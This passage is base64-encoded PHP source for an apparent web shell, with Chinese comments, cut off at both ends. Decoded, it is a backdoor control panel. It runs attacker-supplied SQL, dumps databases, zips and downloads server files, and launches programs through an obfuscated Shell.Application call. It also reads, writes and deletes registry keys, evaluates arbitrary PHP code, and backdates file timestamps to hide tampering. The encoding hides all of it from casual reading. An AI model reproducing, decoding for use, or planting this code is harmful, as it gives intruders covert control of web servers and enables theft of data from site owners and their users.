tXVtcTOxLz+sru05tTaISI7DQoJCX0gZWxzZSB7DQoJCQkkdGltZT1AZmlsZW10aW1lKCRfUE9TVFsndGFyZmlsZSddKTsNCgkJCWVjaG8gKEB0b3VjaCgkX1BPU1RbJ2N1cmZpbGUnXSwkdGltZSwkdGltZSkpID8gYmFzZW5hbWUoJF9QT1NUWydjdXJmaWxlJ10pLiIgtcTQ3rjEyrG85LPJuaa4xM6qICIuZGF0ZSgiWS1tLWQgSDppOnMiLCR0aW1lKS4iICEiIDogIs7EvP61xNDeuMTKsbzk0N64xMqnsNwhIjsNCgkJfQ0KCX0NCn0NCg0KLy8g19S2qNLlyrG85A0KZWxzZWlmICgkX1BPU1RbJ2RvJ10gPT0gJ21vZG15dGltZScpIHsNCglpZiAoIUBmaWxlX2V4aXN0cygkX1BPU1RbJ2N1cmZpbGUnXSkpIHsNCgkJZWNobyAi0qrQ3rjEtcTOxLz+sru05tTaISI7DQoJfSBlbHNlIHsNCgkJJHllYXI9JF9QT1NUWyd5ZWFyJ107DQoJCSRtb250aD0kX1BPU1RbJ21vbnRoJ107DQoJCSRkYXRhPSRfUE9TVFsnZGF0YSddOwkJDQoJCSRob3VyPSRfUE9TVFsnaG91ciddOw0KCQkkbWludXRlPSRfUE9TVFsnbWludXRlJ107DQoJCSRzZWNvbmQ9JF9QT1NUWydzZWNvbmQnXTsNCgkJaWYgKCFlbXB0eSgkeWVhcikgQU5EICFlbXB0eSgkbW9udGgpIEFORCAhZW1wdHkoJGRhdGEpIEFORCAhZW1wdHkoJGhvdXIpIEFORCAhZW1wdHkoJG1pbnV0ZSkgQU5EICFlbXB0eSgkc2Vjb25kKSkgew0KCQkJJHRpbWU9c3RydG90aW1lKCIkZGF0YSAkbW9udGggJHllYXIgJGhvdXI6JG1pbnV0ZTokc2Vjb25kIik7DQoJCQllY2hvIChAdG91Y2goJF9QT1NUWydjdXJmaWxlJ10sJHRpbWUsJHRpbWUpKSA/IGJhc2VuYW1lKCRfUE9TVFsnY3VyZmlsZSddKS4iILXE0N64xMqxvOSzybmmuMTOqiAiLmRhdGUoIlktbS1kIEg6aTpzIiwkdGltZSkuIiAhIiA6ICLOxLz+tcTQ3rjEyrG85NDeuMTKp7DcISI7DQoJCX0NCgl9DQp9DQoNCi8vIMGsvdNNWVNRTA0KZWxzZWlmICgkY29ubmVjdCkgew0KCWlmIChAbXlzcWxfY29ubmVjdCgkc2VydmVybmFtZSwkZGJ1c2VybmFtZSwkZGJwYXNzd29yZCkgQU5EIEBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSkpIHsNCgkJZWNobyAiyv2+3b/iway907PJuaYhIjsNCgkJbXlzcWxfY2xvc2UoKTsNCgl9IGVsc2Ugew0KCQllY2hvIG15c3FsX2Vycm9yKCk7DQoJfQ0KfQ0KDQovLyDWtNDQU1FM0+++5A0KZWxzZWlmICgkX1BPU1RbJ2RvJ10gPT0gJ3F1ZXJ5Jykgew0KCUBteXNxbF9jb25uZWN0KCRzZXJ2ZXJuYW1lLCRkYnVzZXJuYW1lLCRkYnBhc3N3b3JkKSBvciBkaWUoIsr9vt2/4sGsvdPKp7DcIik7DQoJQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKSBvciBkaWUoItGh1PHK/b7dv+LKp7DcIik7DQoJJHJlc3VsdCA9IEBteXNxbF9xdWVyeSgkX1BPU1RbJ3NxbF9xdWVyeSddKTsNCgllY2hvICgkcmVzdWx0KSA/ICJTUUzT777ks8m5pta00NAhIiA6ICKz9rTtOiAiLm15c3FsX2Vycm9yKCk7DQoJbXlzcWxfY2xvc2UoKTsNCn0NCg0KLy8gsbi33bLZ1/cNCmVsc2VpZiAoJF9QT1NUWydkbyddID09ICdiYWNrdXBteXNxbCcpIHsNCglpZiAoZW1wdHkoJF9QT1NUWyd0YWJsZSddKSBPUiBlbXB0eSgkX1BPU1RbJ2JhY2t1cHR5cGUnXSkpIHsNCgkJZWNobyAix+vRodTx0/uxuLfdtcTK/b7dse26zbG4t923vcq9ISI7DQoJfSBlbHNlIHsNCgkJaWYgKCRfUE9TVFsnYmFja3VwdHlwZSddID09ICdzZXJ2ZXInKSB7DQoJCQlAbXlzcWxfY29ubmVjdCgkc2VydmVybmFtZSwkZGJ1c2VybmFtZSwkZGJwYXNzd29yZCkgb3IgZGllKCLK/b7dv+LBrL3Tyqew3CIpOw0KCQkJQG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKSBvciBkaWUoItGh1PHK/b7dv+LKp7DcIik7CQ0KCQkJJHRhYmxlID0gYXJyYXlfZmxpcCgkX1BPU1RbJ3RhYmxlJ10pOw0KCQkJJGZpbGVoYW5kbGUgPSBAZm9wZW4oJHBhdGgsInciKTsNCgkJCWlmICgkZmlsZWhhbmRsZSkgew0KCQkJCSRyZXN1bHQgPSBteXNxbF9xdWVyeSgiU0hPVyB0YWJsZXMiKTsNCgkJCQllY2hvICgkcmVzdWx0KSA/IE5VTEwgOiAis/a07TogIi5teXNxbF9lcnJvcigpOw0KCQkJCXdoaWxlICgkY3Vycm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCgkJCQkJaWYgKGlzc2V0KCR0YWJsZVskY3Vycm93WzBdXSkpIHsNCgkJCQkJCXNxbGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZmlsZWhhbmRsZSk7DQoJCQkJCQlmd3JpdGUoJGZpbGVoYW5kbGUsIlxuXG5cbiIpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCWZjbG9zZSgkZmlsZWhhbmRsZSk7DQoJCQkJZWNobyAiyv2+3b/i0tGzybmmsbi33bW9IDxhIGhyZWY9XCIiLiRwYXRoLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4iLiRwYXRoLiI8L2E+IjsNCgkJCQlteXNxbF9jbG9zZSgpOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICKxuLfdyqew3CzH68i3yM/Ev7HqzsS8/rzQyse38b7f09C/ydC0yKjP3iEiOw0KCQkJfQ0KCQl9DQoJfQ0KfQ0KDQoNCi8vILTysPzPwtTYIFBTOs7EvP7Mq7Tzv8nE3LfHs6PC/Q0KLy8gVGh4IDog0KG7qA0KZWxzZWlmKCRkb3ducmFyKSB7DQoJaWYgKCFlbXB0eSgkZGwpKSB7DQoJCSRkZmlsZXM9IiI7DQoJCWZvcmVhY2ggKCRkbCBBUyAkZmlsZXBhdGg9PiR2YWx1ZSkgew0KCQkJJGRmaWxlcy49JGZpbGVwYXRoLiIsIjsNCgkJfQ0KCQkkZGZpbGVzPXN1YnN0cigkZGZpbGVzLDAsc3RybGVuKCRkZmlsZXMpLTEpOw0KCQkkZGw9ZXhwbG9kZSgiLCIsJGRmaWxlcyk7DQoJCSR6aXA9bmV3IFBIUFppcCgkZGwpOw0KCQkkY29kZT0kemlwLT5vdXQ7CQkNCgkJaGVhZGVyKCJDb250ZW50LXR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQloZWFkZXIoIkFjY2VwdC1SYW5nZXM6IGJ5dGVzIik7DQoJCWhlYWRlcigiQWNjZXB0LUxlbmd0aDogIi5zdHJsZW4oJGNvZGUpKTsNCgkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50O2ZpbGVuYW1lPSIuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfRmlsZXMudGFyLmd6Iik7DQoJCWVjaG8gJGNvZGU7DQoJCWV4aXQ7DQoJfSBlbHNlIHsNCgkJZWNobyAix+vRodTx0qq08rD8z8LU2LXEzsS8/iEiOw0KCX0NCn0NCg0KLy8gU2hlbGwuQXBwbGljYXRpb24g1MvQ0LPM0PINCmVsc2VpZigoJF9QT1NUWydkbyddID09ICdwcm9ncmFtcnVuJykgQU5EICFlbXB0eSgkX1BPU1RbJ3Byb2dyYW0nXSkpIHsNCgkkc2hlbGw9ICZuZXcgQ09NKCdTaCcuJ2VsJy4nbC5BcHBsJy4naWNhJy4ndGlvbicpOw0KCSRhID0gJHNoZWxsLT5TaGVsbEV4ZWN1dGUoJF9QT1NUWydwcm9ncmFtJ10sJF9QT1NUWydwcm9nJ10pOw0KCWVjaG8gKCRhPT0nMCcpID8gIrPM0PLS0b6ts8m5pta00NAhIiA6ICKzzNDy1MvQ0MqnsNwhIjsNCn0NCg0KLy8gsum/tFBIUMXk1sOyzsr917S/9g0KZWxzZWlmKCgkX1BPU1RbJ2RvJ10gPT0gJ3ZpZXdwaHB2YXInKSBBTkQgIWVtcHR5KCRfUE9TVFsncGhwdmFybmFtZSddKSkgew0KCWVjaG8gIsXk1sOyzsr9ICIuJF9QT1NUWydwaHB2YXJuYW1lJ10uIiC87LLiveG5+zogIi5nZXRwaHBjZmcoJF9QT1NUWydwaHB2YXJuYW1lJ10pLiIiOw0KfQ0KDQovLyC2wcih16Ky4bHtDQplbHNlaWYoKCRyZWdyZWFkKSBBTkQgIWVtcHR5KCRfUE9TVFsncmVhZHJlZ25hbWUnXSkpIHsNCgkkc2hlbGw9ICZuZXcgQ09NKCdXU2MnLidyaXAnLid0LlNoJy4nZWxsJyk7DQoJdmFyX2R1bXAoQCRzaGVsbC0+UmVnUmVhZCgkX1BPU1RbJ3JlYWRyZWduYW1lJ10pKTsNCn0NCg0KLy8g0LTI69eisuGx7Q0KZWxzZWlmKCgkcmVnd3JpdGUpIEFORCAhZW1wdHkoJF9QT1NUWyd3cml0ZXJlZ25hbWUnXSkgQU5EICFlbXB0eSgkX1BPU1RbJ3JlZ3R5cGUnXSkgQU5EICFlbXB0eSgkX1BPU1RbJ3JlZ3ZhbCddKSkgew0KCSRzaGVsbD0gJm5ldyBDT00oJ1cnLidTY3InLidpcHQuUycuJ2hlbGwnKTsNCgkkYSA9IEAkc2hlbGwtPlJlZ1dyaXRlKCRfUE9TVFsnd3JpdGVyZWduYW1lJ10sICRfUE9TVFsncmVndmFsJ10sICRfUE9TVFsncmVndHlwZSddKTsNCgllY2hvICgkYT09JzAnKSA/ICLQtMjr16Ky4bHtvaHWtbPJuaYhIiA6ICLQtMjrICIuJF9QT1NUWydyZWduYW1lJ10uIiwgIi4kX1BPU1RbJ3JlZ3ZhbCddLiIsICIuJF9QT1NUWydyZWd0eXBlJ10uIiDKp7DcISI7DQp9DQoNCi8vIMm+s/3XorLhse0NCmVsc2VpZigoJHJlZ2RlbGV0ZSkgQU5EICFlbXB0eSgkX1BPU1RbJ2RlbHJlZ25hbWUnXSkpIHsNCgkkc2hlbGw9ICZuZXcgQ09NKCdXUycuJ2NyaScuJ3B0LlMnLidoZScuJ2xsJyk7DQoJJGEgPSBAJHNoZWxsLT5SZWdEZWxldGUoJF9QT1NUWydkZWxyZWduYW1lJ10pOw0KCWVjaG8gKCRhPT0nMCcpID8gIsm+s/3XorLhse29oda1s8m5piEiIDogIsm+s/0gIi4kX1BPU1RbJ2RlbHJlZ25hbWUnXS4iIMqnsNwhIjsNCn0NCg0KDQplY2hvICI8L2I+PC9wPlxuIjsNCi8qPT09PT09PT09PT09PT09PT09PT09INa00NCy2df3IL3hyvggPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KaWYgKCFpc3NldCgkX0dFVFsnYWN0aW9uJ10pIE9SIGVtcHR5KCRfR0VUWydhY3Rpb24nXSkgT1IgKCRfR0VUWydhY3Rpb24nXSA9PSAiZGlyIikpIHsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQo/Pg0KICA8dHIgYmdjb2xvcj0iI2NjY2NjYyI+DQogICAgPHRkIGFsaWduPSJjZW50ZXIiIG5vd3JhcCB3aWR0aD0iMjclIj48Yj7OxLz+PC9iPjwvdGQ+DQoJPHRkIGFsaWduPSJjZW50ZXIiIG5vd3JhcCB3aWR0aD0iMTYlIj48Yj60tL2oyNXG2jwvYj48L3RkPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBub3dyYXAgd2lkdGg9IjE2JSI+PGI+1+6689DeuMQ8L2I+PC90ZD4NCiAgICA8dGQgYWxpZ249ImNlbnRlciIgbm93cmFwIHdpZHRoPSIxMSUiPjxiPrTz0KE8L2I+PC90ZD4NCiAgICA8dGQgYWxpZ249ImNlbnRlciIgbm93cmFwIHdpZHRoPSI2JSI+PGI+yvTQ1DwvYj48L3RkPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBub3dyYXAgd2lkdGg9IjI0JSI+PGI+stnX9zwvYj48L3RkPg0KICA8L3RyPg0KPD9waHANCi8vIMS/wrzB0LHtDQokZGlycz1Ab3BlbmRpcigkZGlyKTsNCiRkaXJfaSA9ICcwJzsNCndoaWxlICgkZmlsZT1AcmVhZGRpcigkZGlycykpIHsNCgkkZmlsZXBhdGg9IiRkaXIvJGZpbGUiOw0KCSRhPUBpc19kaXIoJGZpbGVwYXRoKTsNCglpZigkYT09IjEiKXsNCgkJaWYoJGZpbGUhPSIuLiIgJiYgJGZpbGUhPSIuIikJew0KCQkJJGN0aW1lPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVjdGltZSgkZmlsZXBhdGgpKTsNCgkJCSRtdGltZT1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCQkkZGlycGVybT1zdWJzdHIoYmFzZV9jb252ZXJ0KGZpbGVwZXJtcygkZmlsZXBhdGgpLDEwLDgpLC00KTsNCgkJCWVjaG8gIjx0ciBjbGFzcz0iLmdldHJvd2JnKCkuIj5cbiI7DQoJCQllY2hvICIgIDx0ZCBzdHlsZT1cInBhZGRpbmctbGVmdDogNXB4O1wiPls8YSBocmVmPVwiP2Rpcj0iLnVybGVuY29kZSgkZGlyKS4iLyIudXJsZW5jb2RlKCRmaWxlKS4iXCI+PGZvbnQgY29sb3I9XCIjMDA2Njk5XCI+JGZpbGU8L2ZvbnQ+PC9hPl08L3RkPlxuIjsNCgkJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPiRjdGltZTwvdGQ+XG4iOw0KCQkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+JG10aW1lPC90ZD5cbiI7DQoJCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj4mbHQ7ZGlyJmd0OzwvdGQ+XG4iOw0KCQkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+PGEgaHJlZj1cIj9hY3Rpb249ZmlsZXBlcm0mZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZmlsZT0iLnVybGVuY29kZSgkZmlsZSkuIlwiPiRkaXJwZXJtPC9hPjwvdGQ+XG4iOw0KCQkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXA+fCA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJyZWFsbHkoJyIudXJsZW5jb2RlKCRkaXIpLiInLCciLnVybGVuY29kZSgkZmlsZSkuIicsJ8TjyLe2qNKqyb6z/SAkZmlsZSDEv8K8wvA/IFxcblxcbsjnufu4w8S/wry3x7/VLLTLtM6y2df3vau74cm+s/24w8S/wrzPwrXEy/nT0M7EvP4hJywnMScpXCI+yb6z/TwvYT4gfCA8YSBocmVmPVwiP2FjdGlvbj1yZW5hbWUmZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZm5hbWU9Ii51cmxlbmNvZGUoJGZpbGUpLiJcIj64xMP7PC9hPiB8PC90ZD5cbiI7DQoJCQllY2hvICI8L3RyPlxuIjsNCgkJCSRkaXJfaSsrOw0KCQl9IGVsc2Ugew0KCQkJaWYoJGZpbGU9PSIuLiIpIHsNCgkJCQllY2hvICI8dHIgY2xhc3M9Ii5nZXRyb3diZygpLiI+XG4iOw0KCQkJCWVjaG8gIiAgPHRkIG5vd3JhcCBjb2xzcGFuPVwiNlwiIHN0eWxlPVwicGFkZGluZy1sZWZ0OiA1cHg7XCI+PGEgaHJlZj1cIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIi8iLnVybGVuY29kZSgkZmlsZSkuIlwiPre1u9jJz7y2xL/CvDwvYT48L3RkPlxuIjsNCgkJCQllY2hvICI8L3RyPlxuIjsNCgkJCX0NCgkJfQ0KCX0NCn0vLyB3aGlsZQ0KQGNsb3NlZGlyKCRkaXJzKTsgDQo/Pg0KPHRyIGJnY29sb3I9IiNjY2NjY2MiPg0KICA8dGQgY29sc3Bhbj0iNiIgaGVpZ2h0PSI1Ij48L3RkPg0KPC90cj4NCjxGT1JNIGFjdGlvbj0iIiBtZXRob2Q9IlBPU1QiPg0KPD8NCi8vIM7EvP7B0LHtDQokZGlycz1Ab3BlbmRpcigkZGlyKTsNCiRmaWxlX2kgPSAnMCc7DQp3aGlsZSAoJGZpbGU9QHJlYWRkaXIoJGRpcnMpKSB7DQoJJGZpbGVwYXRoPSIkZGlyLyRmaWxlIjsNCgkkYT1AaXNfZGlyKCRmaWxlcGF0aCk7DQoJaWYoJGE9PSIwIil7CQkNCgkJJHNpemU9QGZpbGVzaXplKCRmaWxlcGF0aCk7DQoJCSRzaXplPSRzaXplLzEwMjQgOw0KCQkkc2l6ZT0gQG51bWJlcl9mb3JtYXQoJHNpemUsIDMpOw0KCQlpZiAoQGZpbGVjdGltZSgkZmlsZXBhdGgpID09IEBmaWxlbXRpbWUoJGZpbGVwYXRoKSkgew0KCQkJJGN0aW1lPUBkYXRlKCJZLW0tZCBIOmk6cyIsQGZpbGVjdGltZSgkZmlsZXBhdGgpKTsNCgkJCSRtdGltZT1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJGZpbGVwYXRoKSk7DQoJCX0gZWxzZSB7DQoJCQkkY3RpbWU9IjxzcGFuIGNsYXNzPVwicmVkZm9udFwiPiIuQGRhdGUoIlktbS1kIEg6aTpzIixAZmlsZWN0aW1lKCRmaWxlcGF0aCkpLiI8L3NwYW4+IjsNCgkJCSRtdGltZT0iPHNwYW4gY2xhc3M9XCJyZWRmb250XCI+Ii5AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJGZpbGVwYXRoKSkuIjwvc3Bhbj4iOw0KCQl9DQoJCUAkZmlsZXBlcm09c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRmaWxlcGF0aCksMTAsOCksLTQpOw0KCQllY2hvICI8dHIgY2xhc3M9Ii5nZXRyb3diZygpLiI+XG4iOw0KCQllY2hvICIgIDx0ZCBzdHlsZT1cInBhZGRpbmctbGVmdDogNXB4O1wiPiI7DQoJCWVjaG8gIjxJTlBVVCB0eXBlPWNoZWNrYm94IHZhbHVlPTEgbmFtZT1kbFskZmlsZXBhdGhdPiI7DQoJCWVjaG8gIjxhIGhyZWY9XCIkZmlsZXBhdGhcIiB0YXJnZXQ9XCJfYmxhbmtcIj4kZmlsZTwvYT48L3RkPlxuIjsNCgkJZWNobyAiICA8dGQgYWxpZ249XCJjZW50ZXJcIiBub3dyYXAgY2xhc3M9XCJzbWxmb250XCI+JGN0aW1lPC90ZD5cbiI7DQoJCWVjaG8gIiAgPHRkIGFsaWduPVwiY2VudGVyXCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPiRtdGltZTwvdGQ+XG4iOw0KCQllY2hvICIgIDx0ZCBhbGlnbj1cInJpZ2h0XCIgbm93cmFwIGNsYXNzPVwic21sZm9udFwiPjxzcGFuIGNsYXNzPVwicmVkZm9udFwiPiRzaXplPC9zcGFuPiBLQjwvdGQ+XG4iOw0KCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcCBjbGFzcz1cInNtbGZvbnRcIj48YSBocmVmPVwiP2FjdGlvbj1maWxlcGVybSZkaXI9Ii51cmxlbmNvZGUoJGRpcikuIiZmaWxlPSIudXJsZW5jb2RlKCRmaWxlKS4iXCI+JGZpbGVwZXJtPC9hPjwvdGQ+XG4iOw0KCQllY2hvICIgIDx0ZCBhbGlnbj1cImNlbnRlclwiIG5vd3JhcD48YSBocmVmPVwiP2Rvd25maWxlPSIudXJsZW5jb2RlKCRmaWxlcGF0aCkuIlwiPs/C1Ng8L2E+IHwgPGEgaHJlZj1cIj9hY3Rpb249ZWRpdGZpbGUmZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZWRpdGZpbGU9Ii51cmxlbmNvZGUoJGZpbGUpLiJcIj6x4LytPC9hPiB8IDxhIGhyZWY9XCIjXCIgb25jbGljaz1cInJlYWxseSgnIi51cmxlbmNvZGUoJGRpcikuIicsJyIudXJsZW5jb2RlKCRmaWxlcGF0aCkuIicsJ8TjyLe2qNKqyb6z/SAkZmlsZSDOxLz+wvA/JywnMicpXCI+yb6z/TwvYT4gfCA8YSBocmVmPVwiP2FjdGlvbj1yZW5hbWUmZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZm5hbWU9Ii51cmxlbmNvZGUoJGZpbGVwYXRoKS4iXCI+uMTD+zwvYT4gfCA8YSBocmVmPVwiP2FjdGlvbj1uZXd0aW1lJmRpcj0iLnVybGVuY29kZSgkZGlyKS4iJmZpbGU9Ii51cmxlbmNvZGUoJGZpbGVwYXRoKS4iXCI+yrG85DwvYT48L3RkPlxuIjsNCgkJZWNobyAiPC90cj5cbiI7DQoJCSRmaWxlX2krKzsNCgl9DQp9Ly8gd2hpbGUNCkBjbG9zZWRpcigkZGlycyk7IA0KJHRiLT50ZGJvZHkoJzx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMiIgY2VsbHNwYWNpbmc9IjAiIGFsaWduPSJjZW50ZXIiPjx0cj48dGQ+Jy4kdGItPm1ha2VpbnB1dCgnY2hrYWxsJywnb24nLCdvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIicsJ2NoZWNrYm94JywnMzAnLCcnKS4nICcuJHRiLT5tYWtlaW5wdXQoJ2Rvd25yYXInLCfRodbQzsS8/rTysPzPwtTYJywnJywnc3VibWl0JykuJzwvdGQ+PHRkIGFsaWduPSJyaWdodCI+Jy4kZGlyX2kuJyC49sS/wrwgLyAnLiRmaWxlX2kuJyC49s7EvP48L3RkPjwvdHI+PC90YWJsZT4nLCdjZW50ZXInLGdldHJvd2JnKCksJycsJycsJzYnKTsNCg0KZWNobyAiPC9GT1JNPlxuIjsNCmVjaG8gIjwvdGFibGU+XG4iOw0KfS8vIGVuZCBkaXINCg0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gImVkaXRmaWxlIikgew0KCWlmKGVtcHR5KCRuZXdmaWxlKSkgew0KCQkkZmlsZW5hbWU9IiRkaXIvJGVkaXRmaWxlIjsNCgkJJGZwPUBmb3BlbigkZmlsZW5hbWUsInIiKTsNCgkJJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOw0KCQlAZmNsb3NlKCRmcCk7DQoJCSRjb250ZW50cz1odG1sc3BlY2lhbGNoYXJzKCRjb250ZW50cyk7DQoJfWVsc2V7DQoJCSRlZGl0ZmlsZT0kbmV3ZmlsZTsNCgkJJGZpbGVuYW1lID0gIiRkaXIvJGVkaXRmaWxlIjsNCgl9DQoJJGFjdGlvbiA9ICI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZWRpdGZpbGU9Ii4kZWRpdGZpbGU7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfQwr2oL7HgvK3OxLz+Jyk7DQoJJHRiLT50ZGJvZHkoJ7Wxx7DOxLz+OiAnLiR0Yi0+bWFrZWlucHV0KCdlZGl0ZmlsZW5hbWUnLCRmaWxlbmFtZSkuJyDK5Mjr0MLOxLz+w/vU8r2owaLQws7EvP4gUGhwtPrC67zTw9w6IDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iY2hhbmdlIiB2YWx1ZT0ieWVzIiBvbmNsaWNrPSJqYXZhc2NyaXB0OmFsZXJ0KFwn1eK49rmmxNzWu7/J0tTTw8C0vNPD3LvyysfRucv1zerV+7XEcGhwtPrC66GjXFxuXFxut8dwaHC0+sLru/Kyu83q1ftwaHC0+sLru/Kyu9ans9ZnemluZmxhdGW6r8r9x+uyu9KqyrnTw6OhXCcpIj4gJyk7DQoJJHRiLT50ZGJvZHkoJHRiLT5tYWtldGV4dGFyZWEoJ2ZpbGVjb250ZW50JywkY29udGVudHMpKTsNCgkkdGItPm1ha2VoaWRkZW4oJ2RvJywnZG9lZGl0ZmlsZScpOw0KCSR0Yi0+Zm9ybWZvb3RlcignMScsJzMwJyk7DQp9Ly9lbmQgZWRpdGZpbGUNCg0KZWxzZWlmICgkX0dFVFsnYWN0aW9uJ10gPT0gInJlbmFtZSIpIHsNCgkkbm93ZmlsZSA9IChpc3NldCgkX1BPU1RbJ25ld25hbWUnXSkpID8gJF9QT1NUWyduZXduYW1lJ10gOiBiYXNlbmFtZSgkX0dFVFsnZm5hbWUnXSk7DQoJJGFjdGlvbiA9ICI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZm5hbWU9Ii51cmxlbmNvZGUoJGZuYW1lKTsNCgkkdGItPnRhYmxlaGVhZGVyKCk7DQoJJHRiLT5mb3JtaGVhZGVyKCRhY3Rpb24sJ9DeuMTOxLz+w/snKTsNCgkkdGItPm1ha2VoaWRkZW4oJ29sZG5hbWUnLCRkaXIuIi8iLiRub3dmaWxlKTsNCgkkdGItPm1ha2VoaWRkZW4oJ2RpcicsJGRpcik7DQoJJHRiLT50ZGJvZHkoJ7Wxx7DOxLz+w/s6ICcuYmFzZW5hbWUoJG5vd2ZpbGUpKTsNCgkkdGItPnRkYm9keSgnuMTD+86qOiAnLiR0Yi0+bWFrZWlucHV0KCduZXduYW1lJykpOw0KCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdyZW5hbWUnKTsNCgkkdGItPmZvcm1mb290ZXIoJzEnLCczMCcpOw0KfS8vZW5kIHJlbmFtZQ0KDQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAiZXZhbCIpIHsNCgkkYWN0aW9uID0gIj9kaXI9Ii51cmxlbmNvZGUoJGRpcikuIiI7DQoJJHRiLT50YWJsZWhlYWRlcigpOw0KCSR0Yi0+Zm9ybWhlYWRlcignJy4kYWN0aW9uLicgInRhcmdldD0iX2JsYW5rJyAsJ9a00NBwaHC9xbG+Jyk7DQoJJHRiLT50ZGJvZHkoJHRiLT5tYWtldGV4dGFyZWEoJ3BocGNvZGUnLCRjb250ZW50cykpOw0KCSR0Yi0+Zm9ybWZvb3RlcignMScsJzMwJyk7DQoJDQp9DQplbHNlaWYgKCRfR0VUWydhY3Rpb24nXSA9PSAiZmlsZXBlcm0iKSB7DQoJJGFjdGlvbiA9ICI/ZGlyPSIudXJsZW5jb2RlKCRkaXIpLiImZmlsZT0iLiRmaWxlOw0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwn0N64xM7EvP7K9NDUJyk7DQoJJHRiLT50ZGJvZHkoJ9DeuMQgJy4kZmlsZS4nILXEyvTQ1M6qOiAnLiR0Yi0+bWFrZWlucHV0KCdmaWxlcGVybScsc3Vic3RyKGJhc2VfY29udmVydChmaWxlcGVybXMoJGRpci4nLycuJGZpbGUpLDEwLDgpLC00KSkpOw0KCSR0Yi0+bWFrZWhpZGRlbignZmlsZScsJGZpbGUpOw0KCSR0Yi0+bWFrZWhpZGRlbignZGlyJyx1cmxlbmNvZGUoJGRpcikpOw0KCSR0Yi0+bWFrZWhpZGRlbignZG8nLCdlZGl0ZmlsZXBlcm0nKTsNCgkkdGItPmZvcm1mb290ZXIoJzEnLCczMCcpOw0KfS8vZW5kIGZpbGVwZXJtDQoNCmVsc2VpZiAoJF9HRVRbJ2FjdGlvbiddID09ICJuZXd0aW1lIikgew0KCSRhY3Rpb24gPSAiP2Rpcj0iLnVybGVuY29kZSgkZGlyKTsNCgkkY2FjaGVtb250aCA9IGFycmF5KCdKYW51YXJ5Jz0+MSwnRmVicnVhcnknPT4yLCdNYXJjaCc9PjMsJ0FwcmlsJz0+NCwnTWF5Jz0+NSwnSnVuZSc9PjYsJ0p1bHknPT43LCdBdWd1c3QnPT44LCdTZXB0ZW1iZXInPT45LCdPY3RvYmVyJz0+MTAsJ05vdmVtYmVyJz0+MTEsJ0RlY2VtYmVyJz0+MTIpOw0KCSR0Yi0+dGFibGVoZWFkZXIoKTsNCgkkdGItPmZvcm1oZWFkZXIoJGFjdGlvbiwnv8vCoc7EvP7X7rrz0N64xMqxvOQnKTsNCgkkdGItPnRkYm9keSgi0N64xM7EvP46ICIuJHRiLT5tYWtlaW5wdXQoJ2N1cmZpbGUnLCRmaWxlLCdyZWFkb25seScpLiIgofogxL+x6s7EvP46ICIuJHRiLT5tYWtlaW5wdXQoJ3RhcmZpbGUnLCfQ6MzuzerV+8K3vra8sM7EvP7D+ycpLCdjZW50ZXInLCcyJywnMzAnKTsNCgkkdGItPm1ha2VoaWRkZW4oJ2RvJywnZG9tb2R0aW1lJyk7DQoJJHRiLT5mb3JtZm9vdGVyKCcnLCczMCcpOw0KCSR0Yi0+Zm9ybWhlYWRlcigkYWN0aW9uLCfX1Lao0uXOxLz+1+6689DeuMTKsbzkJyk7DQoJJHRiLT50ZGJvZHkoJzxicj48dWw+PGxpPtPQ0Ke1xMqxvOS0wbXk0M23ts6nyse007jxwdbN/tbOyrG85CAxOTAxIMTqIDEy